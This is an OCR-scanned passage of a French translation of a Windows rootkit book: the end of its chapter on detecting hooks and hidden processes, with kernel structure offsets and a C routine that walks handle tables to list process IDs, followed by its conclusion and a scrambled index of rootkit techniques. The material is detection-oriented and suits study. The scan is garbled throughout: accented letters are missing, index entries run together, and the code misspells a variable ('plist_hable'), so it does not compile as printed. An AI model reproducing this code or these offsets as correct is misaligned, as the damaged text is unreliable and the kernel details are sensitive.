Suivre Pexcution
Un autre moyen de dtecter des hooks dans des API et des services systme est de
suivre lexcution des appels. Cette mthode a t utilise par Joanna Rutkowska dans
son outil Patchfinder 2 1 2. Elle part du principe que les hooks provoquent lexcution
dinstructions additionnelles qui ne seraient pas invoques par des fonctions non
hookes. Ce programme cre une base de rfrence partir de plusieurs fonctions lors
du dmarrage et ncessite que le systme soit exempt de hooks ce moment prcis. Il
appelle ensuite priodiquement ces fonctions pour vrifier si des instructions
additionnelles sont excutes par rapport la base de rfrence.
Bien que cette technique fonctionne, elle demande une base de rfrence intacte. De
plus, le nombre dinstructions quune fonction donne excute peut varier dun appel
lautre, mme si elle na pas t hooke. Ceci est d en grande partie au fait que ce
nombre dpend de lensemble de donnes que la fonction analyse. Il nest donc pas
possible de dfinir prcisment une variation acceptable de cette diffrence.
Rutkowska affirme avoir constat une diffrence considrable entre une fonction
hooke et une fonction qui ne lest pas lors des tests quelle a raliss avec des rootkits
connus, mais cet cart pourrait diminuer dans le cas dattaques plus sophistiques.
1. Last Stage of Delirium Research Group, "Win32 Assembly Components" (mise jour 12 dcembre 2002),
disponible sur http://lsd-pl.net/windows_components.htmI.
2. J. Rutkowska, "Detecting Windows Server Compromises with Patchfinder 2" (janvier 2004), disponible P
adresse www.invisiblethings.org/papers/rootkits_detection_with_patchfinder2.pdf.
Chapitre 10
Hooker des fonctions est utile lors de la dtection. La fonction SwapContext dans
Ntoskrnl. exe est appele pour oprer un changement de contexte entre le thread en
cours et celui qui reprend son excution. Lorsquelle est invoque, la valeur contenue
dans le registre EDI est un pointeur vers le prochain thread qui doit devenir actif, et la
valeur du registre ESI est un pointeur vers le thread courant sapprtant suspendre
son excution. Pour cette mthode de dtection, vous devez remplacer le
322 Rootkits
prambule de SwapContext par un saut inconditionnel de cinq octets vers votre fonction
de dtour. Celle-ci devrait vrifier que la structure KTHREAD du thread redevenant actif
(rfrenc par le registre EDI) pointe vers un bloc EPROCESS qui est correctement li la
liste doublement chane de blocs EPROCESS. Grce cette information, vous pouvez
dtecter un processus qui a t dissimul laide des techniques DKOM dcrites au
Chapitre 7. Cela fonctionne car la planification dexcution dans le noyau se fait au
niveau thread et que tous les threads sont lis leurs processus parents. Cette mthode
a t initialement documente par James Butler et al'.
Vous pouvez sinon employer cette mthode pour dtecter des processus dissimuls par
hooking. En hookant la fonction SwapContext, vous obtenez la vritable liste de
processus. Vous pouvez ensuite comparer ces donnes celles retournes par les
appels API de listage de processus, tels que la fonction NtQuerySystemlnf ormation qui
a t hooke la section "Hooking de la SSDT" au Chapitre 4.
Autres moyens de listage de processus
Idle ;
System ;
il Smss.exe ;
Csrss.exe.
1. J. Butler et al., "Hidden Processes: The Implication for Intrusion Dtection", Proceedings ofthe IEEE
Workshop on Information Assurance (Acadmie militaire de West Point, NY), juin 2003.
Chapitre 10
En parcourant les handles dans Csrss. exe et en identifiant les processus auxquels ils
se rfrent, vous obtenez un ensemble de donnes que vous pouvez comparer la liste
de processus retourne par les appels API. Dans le bloc EPROCESS de chaque processus,
il y a, entre autres informations, un pointeur vers une structure HANDLE_TABLE qui
contient un pointeur vers la table de handles de ce processus. Le Tableau 10.1 contient
les offsets requis pour trouver la table de handles de chaque processus. Pour en savoir
plus sur lanalyse des tables de handles, consultez louvrage Microsoft Windows
Internais, de Russinovich et Solomon 1.
Tableau 10.1 : Offsets pour localiser les handles partir d'un bloc EPROCESS
Windows 2000
Windows XP
Windows 2003
0x128
0xC4
0xC4
0x8
0X0
0X0
Il existe encore une autre technique permettant dviter de sappuyer sur des appels
API pouvant avoir t hooks. Comme il a t dit, le bloc EPROCESS de chaque
processus contient un pointeur vers une structure HANDLE_TABLE. Il se trouve que toutes
ces structures sont lies entre elles via une structure LIST_ENTRY, de la mme manire
que tous les processus sont lis entre eux via une structure LIST_ENTRY (voir Chapitre
7). En localisant la structure HANDLE TABLE de chaque processus et en parcourant la liste
des tables de handles, vous pouvez identifier tous les processus du systme. Alors que
nous rdigeons le prsent ouvrage, nous pensons que le produit BlackLight 1 2 de
lditeur dantivirus F-Secure sappuie sur cette technique.
Pour parcourir la liste des tables de handles, vous avez besoin de loffset de la
structure LIST_ENTRY dans la structure HANDLE_TABLE (en plus de loffset du pointeur
vers cette dernire dans le bloc EPROCESS, lequel est donn au Tableau 10.1). La
structure HANDLETABLE contient galement le PID (Process ID) du processus
propritaire. Ce PID se trouve des offsets diffrents selon la version du systme
1. M. Russinovich et D. Solomon, Microsoft Windows Internais, Fourth Edition (Redmond, Wash. : Microsoft
Press, 2005). pp. 124^-9.
2. F-Secure BlackLight (Helsinki, Finland : F-Secure Corporation, 2005), disponible ladresse
www.fsecure.com/blacklight.
324 Rootkits
dexploitation. Les offsets permettant didentifier chaque processus partir de son PID
sont indiqus au Tableau 10.2.
Tableau 10.2 : Offsets utiliss pour parcourir les tables de handles et identifier les processus
Windows 2000
Windows XP
Windows 2003
0x54
0x1 C
0x1 C
0x10
0x08
0x08
Pour chaque processus travers au moyen des valeurs de LIST_ENTRY, vous pouvez
dterminer le PID propritaire. Vous disposez ainsi dun autre ensemble de donnes
comparer aux rsultats des appels API au cas o ceux-ci manqueraient de lister un
processus particulier. La fonction suivante liste tous les processus du systme en
parcourant la liste chane de tables de handles :
void ListProcessesByHandleTable(void)
{
PEPROCESS eproc;
PLIST_ENTRY start_plist, plist_hTable = NULL;
PDWORD d_pid;
// Rcupre le bloc EPROCESS courant
eproc = PsGetCurrentProcess();
plist_hable = (PLIST_ENTRY)((*(PDWORD)((DWORD) eproc + HANDLETABLEOFFSET))
+ HANDLELISTOFFSET);
start_plist = plist_hTable;
do
{
d_pid = (PDWORD)(((DWORD)plist_hTable + EPROCPIDOFFSET)
- HANDLELISTOFFSET);
// Envoie le PID du processus en sortie en tant que //
message de debugging. Vous pourriez le stocker // pour le
comparer aux appels API.
DbgPrint("Process ID: %d\n", *d_pid);
// Continue
plist_hTable = plist_hTable->Flink;
}while (start_plist != plist_hTable);
}
Cette mthode de dtection des processus cachs est trs efficace. Si le rootkit ne
modifie pas cette liste dans le noyau, ce qui est de toute faon difficile faire, vous
pourrez reprer ses processus cachs. Il existe dans le noyau dautres structures
similaires pouvant tre utilises aux mmes fins. Les techniques de dtection voluent
aussi rapidement que les rootkits.
Chapitre 10
Conclusion
Ce chapitre a illustr de nombreux moyens diffrents de dtecter des rootkits, en
couvrant tantt leur implmentation pratique tantt la thorie sous-jacente.
La plupart des mthodes qui ont t exposes ont trait la dtection de hooks et de
processus cachs. Des livres entiers pourraient tre consacrs la dtection au niveau
du systme de fichiers ou la dtection de canaux de communication secrets. Mais, en
apprenant dj identifier des hooks, vous serez en mesure de reprer la majorit des
rootkits publics.
Aucune mthode de dtection nest exhaustive ou fiable 100 % car la dtection est un
art. A mesure que les attaquants progressent, les mthodes de protection voluent
galement.
La divulgation des techniques dimplmentation et de dtection de rootkits a pour
inconvnient de profiter galement aux attaquants, lesquels modifient ensuite leur
mthodologie en consquence. Toutefois, le fait quune technique dinfiltration nait
pas t expose dans un livre ou lors dune confrence ne rend pas les systmes plus
srs pour autant. Le niveau de sophistication des attaques prsentes dans ce livre est
de toute faon hors de porte de la majorit des aspirants hackers, qui sont
essentiellement des script-kiddies (pirates adolescents). Nous esprons que les socits
de scurit et les diteurs de systmes dexploitation considreront la protection contre
les mthodes abordes ici comme une priorit.
De nouvelles techniques de rootkits plus avances et des mthodes permettant de les
dtecter sont dveloppes alors mme que vous lisez ces lignes. Actuellement,
plusieurs initiatives visent dissimuler des rootkits en mmoire de manire quils
chappent mme un scan de la mmoire. Dautres groupes cherchent utiliser les
composants matriels disposant dun processeur embarqu pour pouvoir scanner la
mmoire du noyau sans sappuyer sur le systme dexploitation1. Ces deux groupes
divergeront videmment et, comme aucun deux na soumis dimplmentation un
examen public, il est difficile de dire lequel aura le dessus. Ce qui est sr, cest que
chaque approche prsentera ses propres limitations et faiblesses.
1. N. Petroni, J. Molina, T. Fraser et W. Arbaugh (universit du Maryland, College Park, Md.), "Copilot: A
Coprocessor Based Kernel Runtime Integrity Monitor", article prsent lors de la confrence Usenix
Security Symposium 2004 et disponible ladresse www.usenix.org/events/sec04/tech/petroni.html.
326 Rootkits
Index
S ymboles
$(BASEDIR) (variable) 42
$(DDK_LIB_PATH)
(variable) 42
A
Accs
au matriel 233 aux fichiers,
gestion dans le noyau 35
contrle au moyen danneaux
64
de niveau root 14 jeton (d) 76
Acrostiche 261
AdjustTokenGroups (fonction)
210 AdjustTokenPrivileges
(fonction) 210 Adresses
de substitution 139 locales 265
MAC 298
mapping dadresses virtuelles/adresses physiques 70
matrielles 234 tables (d) 66
virtuelles
relatives (RVA) 124
structure 71
AllCPURaised (fonction) 206
Analyse forensique 13
altration avec DKOM 188
contournement des outils 30
B
Back Orifice 13
Backdoors Voir Portes drobes
BHO (Browser Helper Object)
310
Bibliothques
emplacement par dfaut 42
liaison 41 NDIS 286
pour le support de TCP/IP
dans le noyau 263 tierces 38
BIOS, accs (au) 238 Blink
(outil) 28
328 Index
Canaux de communication
secrets (suite) mulation d'hte
298 envoi de donnes un serveur
distant 275
exfiltration de donnes 256
manipulation du trafic rseau 277
emploi de sockets bruts 278
falsification de lorigine des
paquets 281 rebond de paquets 282
support de TCP/IP dans le noyau
via NDIS 283 via TDI 262
Carte mre 237 Cavernes, pages
mmoire 151 Chanage de
drivers filtrage de fichiers 171
rootkit KLOG 159 sniffeur de
clavier 154 Chargement dun
rootkit 52 Checked-build, kit
DDK 40
CheckNtoskrnlForOutsideJump (fonction) 316 Chemin
dexcution
de la fonction FindNextFile 88
modifi par un hook dIAT 90
modifi par un patch de dtour 132
Chiffrement
des donnes stockes 30 du
trafic 259
Cisco Security Agent (outil) 28
Clavier
accs au contrleur (de) 239
interruptions 246 modification
des LED 240 ports 241
CONNINFO102 (structure)
119
CONNINFO110 (structure)
119
CONTAINING_RECORD
(macro) 168
Contexte
actif dun processus 76
changement 318 structure (de) 268
Contournement des outils
danalyse forensique 30
des systmes de scurit 27
Contrle
distance 15, 256 daccs la
mmoire 64, 68 de flux Voir
Chemin dexcution registres (de)
83 Contrleurs dE/S 236
dinterruptions (PIC) 79, 246
de clavier 154 8259 239 accs (au)
239 matriels 234 sur un systme
multiprocesseur 84
ConvertScanCodeToKeyCode
(fonction) 168
CPL (Current Privilge Leve)
68
CR0 (registre) 83 CRI (registre)
83 CR2 (registre) 83 CR3
(registre) 71, 83 CR4 (registre)
83 CreateRemoteThread
(fonction) 96 CS (registre) 78
Csrss.exe 322
D
DATA BYTE (constante) 241
DbgPrint (instruction) 45 DDK
(Driver Development Kit)
40
Index 329
DeviceloControl (fonction)
192,217
DeviceTree (outil) 156 Directives
de debugging, journalisation 44
DIRQL (Device IRQL) 206
DISPATCHJLEVEL (niveau
dIRQ) 162
DispatchPassDown (fonction)
160
DispatchRead (fonction) 160,
164
Disque
analyse des octets la
recherche de signatures 30
fichier dchange/de
pagination 70
hooking dunits 172
modification du noyau (sur) 60
Dissimulation
dobjets du noyau 196 de
canaux secrets dans TCP/IP
258 de cls de registre 37 de
drivers 201 de fichiers 37 de
ports rseau 114 de processus
laide dun hook de la
SSDT 104 avec DKOM 196
emplacement du code 37 des
oprations de rseau 37 DKOM
{Direct Kernel Object
Manipulation) augmentation des
dtermination de la version
du systme dexploitation
188
dissimulation dobjets du
noyau 196 DLL
forwarding 91 injection dans
un processus utilisateur 93
via des hooks Windows 94
via des threads distants 96 via le
Registre 94 listage pour un
processus 318 DNS, dissimulation
de communications (dans) 258
DPC (Deferred Procedure Call)
166, 206
DPL {Descriptor Privilge Leve) 68
DrainOutputBuffer (fonction)
243
DRIVER_OBJECT (structure)
203 DriverEntry (fonction)
analyse de lIDT 81
communication avec un driver 193
dtection de hooks de la SSDT
314
drivers de filtrage de fichiers
171
handles de fichiers 50 hook
dinterruption 250 mapping de
scancodes/codes de touches 159
patching de dtour 142 Drivers 36
attachement un priphrique
161
bibliothques lies 41 chanage
153 chargement approche rapide
53
330 Index
Drivers (suite)
recommande avec
SCM 54 avec InstDrv 43
en mmoire non paginable
53
communication depuis le mode
utilisateur 192 cration dun
priphrique 160
de filtrage de fichiers 171
dchargement avec InstDrv 43
routine (de) 39, 43 dtachement
d'un priphrique 169
dissimulation 201 enregistrement
dun priphrique 50 tapes de
cration 39 extraction du fichier
.sys 56 fichiers constitutifs 40
gestion des paquets IRP 46
handles de fichiers 50 injection de
code dans le noyau 38
journalisation des directives de
debugging 44 kit DDK 40
lancement automatique au
dmarrage 59 liens symboliques
51 nommage 41 paginables 53
structure
IO_STACK_LOCATION
157
TDI 263 typiques 38
Drivers.exe 201 DriverUnload
(fonction) 164
dissimulation 37 drivers de
filtrage (de) 171 gestion de
laccs au niveau du noyau 35
handles (de) 50 MAKEFILE
42 SOURCES 40
FILE_FULL_EA_INFORMA
TION (structure) 266
FindFirstFile (fonction) 88
FindNextFile (fonction) 88
FindProcessEPROC (fonction)
199, 210 FindProcessToken
(fonction) 211
FindResource (fonction) 57
Flags
dinterruptions 84 de contrle
dun IRP I 17 de droutement 84
de la MDL 102 de LED du clavier
242 de priphrique 160
Fonctions
de callback 123, 284 dtours
93 hooking 91 majeures 48
reroutage du flux de contrle
133
trampolines 93 Frappe,
interception 154 Free-build, kit
DDK 40 Furtivit 13
Index 331
Hooks
allocation despace mmoire
127
dinterruptions 80, 247
dunits de disque 172 de
fonctions en ligne 91,316 de
gestionnaires dIRP 113, 317
de la fonction SwapContext
321
de la table IAT 90,
317 IDT 108 SSDT
99,314 de niveau noyau
98 utilisateur 87 dfinis
par Microsoft 94
hybrides 123
recherche pour la dtection de
rootkits 311 types 311
I
H
Hachage cryptographique 30
Hal.dll 246
HANDLE. TABLE (structure)
323
Handles de fichiers
communication entre les
modes utilisateur et noyau 50
liens symboliques 51 HIDS
(Hast Intrusion Dtection System )
27
HIPS (Host Intrusion Prvention
System ) 28 HOOK_SYSCALL
(macro)
103
HookDriveSet (fonction) 172
HookedDeviceControl (fonction)
116 HooklmportsOfTmage
(fonction) 124
Hooklnterrupts (fonction) 110
HookKeyboard (fonction) 161
332 Index
IO_STACK_LOCATION
(structure) 157
IoAttachDevice (fonction) 161
IoCallDriver (fonction) 157, 271
IoCompletionRoutine (fonction)
117, 120
IoCopyCurrentlrpStackLocationToNext (fonction) 165
IoCreateDevice (fonction) 160
IoCreateSymbolicLink
(fonction) 51 IOCTL (I/O
Control) 45 IOCTL_DRV_INIT
192 IOCTL_DRV_VER 192
IOCTL_ROOTKIT_SETPRIV
217
IOCTL_TCP_QUERY_INFORMATION_EX 116
IoDetachDevice (fonction) 169
IoGetCurrentlrpStackLocation
(fonction) 164
loGetCurrentProcess (fonction)
196 IoGetDeviceObjectPointer
(fonction) 115
IoGetNextlrpStackLocation
(fonction) 164
IoSkipCurrentlrpStackLocation (fonction) 158 IPD
(outil) 28, 309 IRP (I/O Request
Pocket) 46 codes de contrle 116
communication avec un driver
TDI 271 en attente 165 tat 165
majeurs 113 mineurs 116 structure
IO_STACK_LOCATION
157
tampons
dentre 117
de sortie 119
transmission entre des drivers
chans 155 types 113
IRP_MJ_DEVICE_CONTROL
115, 192
IRPMJIMERNALDEVICE
_CONTROL 192 ISR (Interrupt
Service Routine)
79
J
Jetons daccs de processus 76
ajout de SID 220 augmentation
des privilges 209
localisation 210
modification 210
structure 211
JMP (instruction) 134, 312 JMP
FAR (instruction) 134
Journalisation des directives de
debugging 44
Kernel32.dll 88
KeServiceDescriptorTable
(table systme) 99
KeServiceDescriptorTableShadow (table systme) 100
KeSetTargetProcessorDPC
(fonction) 85, 207
KeSetTimerEx (fonction) 245
KeStallExecutionProcessor
(fonction) 236, 242
KeWaitForSingleObject
(fonction) 168, 170
KEYBOARD_INPUT_DATA
(structure) 166
KiSystemService (dispatcheur)
82,
99 Kits
DDK 40
IFS 183
SDK
216
KLOG (rootkit) 159 KPRCB
(Kernel PRocessor Control Block)
196 KTHREAD (structure) 197,
322
KUSER_SHARED_DATA (zone
mmoire) 128
KeCurrentProcessorNumber
(fonction) 207
KeGetActiveProcessors
(fonction) 85
KeGetCurrentlrql (fonction)
206
KeGetCurrentProcessorNumber (fonction) 85
KelnitializeDpc (fonction) 207
KelnsertQueueDpc (fonction)
207
KeN umberProcessors (fonction)
207 KeRaiselrql (fonction) 206
Index 333
MAKEFILE (fichier) 42
Manipulation directe des objets
du noyau 185
MappedSystemCallTable
(fonction) 102
Mapping dadresses virtuelles/
adresses physiques 35, 70
Marqueurs (tombstone) 44
Matriel
accs
au BIOS 238 au contrleur
de clavier 239
aux dispositifs PCI et
PCMCIA 239 direct 233
adresses 234 anneau 0 64
attaques 31 bus
dadressage 234 de
donnes 234 de
priphriques 236
du processeur 236
PCI 237
composants dune carte mre
237
latching 235 pages
mmoire 67 ports
234
puce contrleur dE/S 236
registres de contrle 82
synchronisation 236 systmes
multiprocesseurs 84 tables
de descripteurs
dinterruptions 78 de
descripteurs de mmoire 77
de distribution des services
systme 82
MDL (Memory Descriptor List)
101
METHOD.NEIHER (fonction)
117 Microcode
dfinition 231 mise jour 252
modification 232 Migbot
(rootkit) 53, 133 Mode noyau
Voir Noyau Mode promiscuous
280 Mode utilisateur anneau 3 64
communication avec le mode
noyau 45, 192 hooks 87
Modles de saut 143
Modifications de code source
20
MODULE_ENTRY (structure)
202 MODULEJNFO (structure)
314,319
Motifs des attaquants 12 MSR
(Model-Specific Register) 112
Mutation polymorphique 30
334 Index
NdisAllocatePacketPool
(fonction) 292
NdisOpenAdapter (fonction)
285
NdisQueryBuffer (fonction)
303
NdisRegisterProtocol (fonction)
285 NdisRequest (fonction) 287
NdisSend (fonction) 301
NdisTransferData (fonction) 293
NdisTransportData (fonction)
292
NetBus (programme backdoor)
13 Netstat (utilitaire) 114
NewZwQuerySystemlnformation (fonction) 106 NIDS
(Network Intrusion Dtection
System) 28 NonPagedPool (zone
mmoire) 139
NOP (instruction) 128 Noyau
accs aux fichiers 35
anneau 0 64
communication avec le mode
utilisateur 45, 192 gestion
de la mmoire 35
des processus 34 hooks
98
injection de code via un
driver 38
listage des modules 312
manipulation directe des objets
185 mmoire 98
modifications sur disque 60
niveau ultime de scurit 35
planification des processus 76
principaux composants 34
NtDeviceloControlFile (fonction)
133 Ntdll.dll 94
NtLoadDriver (fonction) 309
NtOpenSection (fonction) 309
Ntoskml.exe 99
NtQueryDirectoryFile (fonction)
88
NtQuerySystemlnformation
(fonction) 104
NumberOfRaisedCPU (fonction)
206
O
OBJ_KERNEL_HANDLE 265
Objets du noyau
changements selon la version
du systme 187 gestionnaire
(d) 186 manipulation directe
185 membres 186
Observateur dvnements,
dissimulation de processus
224
ufs de Pques 19 Okena
StormWatch (outil) 28
OldlrpMjDeviceControl
(fonction) 118
OnCloseAdapterDone (fonction)
287 OnOpenAdapterDone
(fonction) 286
OnReadCompletion (fonction)
165
OnReceiveStub (fonction) 287,
292
OnSendDone (fonction) 302
OnSniffedPacket (fonction)
296
OnStubDispatch (fonction) 48
OnTransferDataDone (fonction)
293
OSVERSIONINFO (structure)
188
OSVERSIONINFOEX
(structure) 188
OSVERSIONINFOEXW
(structure) 190
OSVERSIONINFOW
(structure) 190 OUT
(instruction) 66
P
Page Directory Voir Rpertoire
de pages mmoire Pages
mmoire
cavernes 151 contrles pour
laccs 68 pagination vers le
disque 70 rpertoires (de) 67,
71 entres (PDE) 73 multiples
75
Pagination mmoire 70 Paquets
dplacement 292 envoi avec
des sockets bruts 281
falsification de lorigine 281
interception avec des sockets
bruts 279 rebond 282
Paquets de requtes dE/S Voir
IRP
Pare-feu, contournement 29
Passerelle IP 301
PASSIVE_LEVEL (niveau
dIRQ) 162 Patching 19 chaud
92 de dtour 132
Index 335
197
Pile dun IRP 164 Pilotes Voir
Drivers Point dextrmit TDI
268 Pointeur
de pile, IRP 164 de fonctions
majeures 48 Portes
d'appels 78 dinterruptions 80
de droutements 81 de tches 81
drobes furtivit 13
inconvnients 257 utilit 12
Ports
du clavier 241
listage
avec Csrss.exe 323 des
DLL 318 liste chane 198
modification didentifiants 224
noms 199
pntration de lespace
dadressage 123 planification 76,
201 vj- tches 82
PsGetCurrentProcess (fonction)
111, 196 PsGetVersion (fonction)
190 PsLoadedModuleResource
(fonction) 205
PspActiveProcessMutex
(fonction) 205
PspExitProcess (fonction) 201
PsSetlmageLoadNotifyRou- tine
(fonction) 123 Puce contrleur
dE/S 236 PUSH (instruction)
134
R
RaiseCPUIrqlAndWait
(fonction) 207
Raw sockets Voir Sockets bruts
ReadFile (fonction) 48 Rebond
de paquets 282 recvfrom
(fonction) 279 Regedt32.exe 225
Registre de table de descripteurs
dinterruptions (IDTR) 78
Registre Windows Voir Cls de
registre
Registres de contrle 83
RegOpenKeyEx (fonction) 321
RegQueryValue (fonction) 191
RegQueryValueEx (fonction)
191, 321
336 Index
ReleaseExclusivity (fonction)
209
Rpertoire de pages mmoire
67,71
Requtes dE/S Voir IRP Rseau
contournement des systmes
de scurit 28 dissimulation
de communications dans
TCP/IP 258 de ports 114 des
oprations (de) 37 manipulation du
trafic 277 mode promiscuous 280
Restriction de porte 23 Root,
accs (de niveau) 14
RootkitDispatch (fonction) 193
RootkitRevealer (outil) 321
Rootkits 14
ce quils ne sont pas 21
combins des virus 23
communication entre les
modes utilisateur et noyau 45,
192 conception 36 de premire
gnration 18 de prochaine
gnration 31 dtection 308
dissimulation de code et de
donnes 14
emplois lgitimes 14, 17
enregistrement en tant que
drivers 59 et threads 77
fonctionnement 19 furtivit 15
historique 18
installation dans le microcode
31
intgrant des exploits 22
KLOG 159
lancement automatique au
dmarrage 37, 59
menu de commandes 16
mthodes de chargement 52
Migbot 133
structure de rpertoires 36 un
seul par systme 36 utilit 15 Voir
aussi Drivers vs virus 23 Routines
de dchargement 39, 43, 169,
291
de dispatching 178 de service
dinterruption (ISR) 79
de terminaison 117, 119, 165
RtlGetVersion (fonction) 190
Run (cl de registre) 59 RVA
(Relative Virtual Address) 124
Scancodes 156
conversion en codes de
touches 168
placement dans des IRP 162
Scanners de virus 29 SCM
(Service Control Manager)
54, 199
SDK (Software Development Kit)
216
SeAccessCheck (fonction) 133
Section critique 166 Scurit
anneaux de contrle daccs
64
au niveau du noyau 35
contournement des systmes (de)
27
jeton daccs dun processus
76
Segments
de code 78
de commutation de tches 82
Smaphore 163
SendKeyboardCommand
(fonction) 243 SendRaw
(fonction) 300 sendto (fonction)
281 SetLEDS (fonction) 244
SetPriv (fonction) 215
SetWindowsHookEx (fonction)
95 Shell distant 256 SID (Security
IDentifier) ajout un jeton de
processus 220
restreints 221
SID_AND_ATTRIBUTES
(structure) 220 SIDT
(instruction) 79, 109
Signatures
de rootkits 311 recherche
en mmoire 202 sur le
disque 30 SizeOfResource
(fonction) 57 Sniffeur de clavier
154, 246 SOCKJRAW
(constante) 278 sockaddr
(structure) 279 Socket (fonction)
278 Sockets bruts
envoi de paquets 281
interception de paquets 279 liaison
une interface 279 ouverture 278
SOURCES (fichier) 40 Soussystmes Windows 87 Spinlock
(verrou) 163, 301 Spywares 20
SSDT (System Service Dispatch
Table) Voir Tables systme
SSPT (System Service Paratneter
Table) Voir Tables systme
Index 337
T
TA_IP_ADDRESS (structure)
267
TA_TRANSPORT_ADDRESS
(structure) 266
TARGETTYPE (variable) 41
TCP/IP
dissimulation de
communications (dans) 258 au
moyen de NDIS 283 au moyen de
TDI 262 Tcpip.sys 114
TDI (Transport Data Interface)
association dun point
dextrmit une adresse
locale 271
attributs tendus (EA) 264
avantages et inconvnients 304
communication avec le driver
TDI via des IRP 271 connexion
un serveur distant 273
envoi de donnes un serveur
distant 275
objet adresse locale 265
point dextrmit 268
structure
dadresse 263
de contexte 268
TDI_ADDRESS_IP
(structure) 266
TDITRANSPORTADDRSS
(structure) 266
TDI_TRANSPORT_ADDRESS
_LENGTH (structure) 266
TDIObjectID (structure) 116
Temporisateurs
pour la modification des LED
du clavier 241 pour le traitement
des IRP 169
ThreadKeyLogger (fonction)
162
Threads
distants 96 et processus 76
TimerDPC (fonction) 241
338 Index
UNHOOK_SYSCALL (macro)
103 Unload (fonction) 169
User32.dll 94
VirtualAllocEx (fonction) 97
Virus 23
Vulnrabilits logicielles
correction 24 dissimules
sous forme de bugs 20
exploitation 24
WaitForKeyboard (fonction)
242
WatchGuard ServerLock
(outil) 28
WDM (Windows Device
Manager) 201 Win32k.sys 100
WriteFile (fonction) 48
WriteProcessMemory (fonction)
97 WSAIoctl (fonction) 280
WSAStartup (fonction) 278
Z
Zero-day (exploit) 23
ZwCreateFile (fonction) 264,
268
ZwCreateKey (fonction) 310
ZwOpenKey (fonction) 310
ZwQuerySystemlnformation
(fonction) 104, 196, 312
ZwSetSystemlnformation
(fonction) 309
ZwSetValueKey (fonction) 310
ZwWriteFile (fonction) 169